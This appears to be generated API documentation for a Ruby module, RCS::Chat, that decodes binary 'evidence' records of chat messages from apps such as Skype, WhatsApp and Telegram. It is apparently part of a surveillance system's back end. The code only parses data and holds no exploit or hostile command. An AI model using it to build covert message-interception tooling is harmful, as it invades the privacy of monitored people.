Module: RCS::Chat

Included in:
ChatEvidence, ChatmmEvidence
Defined in:
lib/rcs-common/evidence/chat.rb

Constant Summary collapse

CHAT_PROGRAM =
{
    0x01 => :skype,
    0x02 => :facebook,
    0x03 => :twitter,
    0x04 => :gmail,
    0x05 => :bbm,
    0x06 => :whatsapp,
    0x07 => :msn,
    0x08 => :adium,
    0x09 => :viber,
    0x0a => :wechat,
    0x0d => :line,
    0x0e => :telegram,
    0x0f => :yahoo,
    0x10 => :messages,
}
CHAT_INCOMING =
0x00000001
CHATMM_NOT_RETRIEVED =
0x10000000

Instance Method Summary collapse

Instance Method Details

#decode_from_to(common_info, stream) ⇒ Object



30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# File 'lib/rcs-common/evidence/chat.rb', line 30

def decode_from_to(common_info, stream)
  tm = stream.read 36
  info = Hash[common_info]
  info[:da] = Time.gm(*(tm.unpack('L*')), 0)
  info[:data] = Hash.new if info[:data].nil?

  program = stream.read(4).unpack('L').first
  info[:data][:program] = CHAT_PROGRAM[program]

  flags = stream.read(4).unpack('L').first
  info[:data][:incoming] = (flags & CHAT_INCOMING != 0) ? 1 : 0
  info[:data][:size] = (flags & CHATMM_NOT_RETRIEVED != 0) ? 0 : 1

  from = stream.read_utf16le_string
  info[:data][:from] = from.utf16le_to_utf8
  #trace :debug, "CHAT from: #{info[:data][:from]}"
  from_display = stream.read_utf16le_string
  info[:data][:from_display] = from_display.utf16le_to_utf8
  #trace :debug, "CHAT from_display: #{info[:data][:from_display]}"

  rcpt = stream.read_utf16le_string
  info[:data][:rcpt] = rcpt.utf16le_to_utf8

  # remove the sender from the recipients (damned lazy Naga who does not want to parse it on the client)
  recipients = info[:data][:rcpt].split(',')
  recipients.delete(info[:data][:from])
  info[:data][:rcpt] = recipients.join(',')
  #trace :debug, "CHAT rcpt: #{info[:data][:rcpt]}"

  rcpt_display = stream.read_utf16le_string
  info[:data][:rcpt_display] = rcpt_display.utf16le_to_utf8
  if info[:data][:program] == :skype
    # remove the sender from the recipients (damned lazy Naga who does not want to parse it on the client)
    recipients = info[:data][:rcpt_display].split(',')
    recipients.delete(info[:data][:from])
    info[:data][:rcpt_display] = recipients.join(',')
  end
  #trace :debug, "CHAT rcpt_display: #{info[:data][:rcpt_display]}"

  return info
end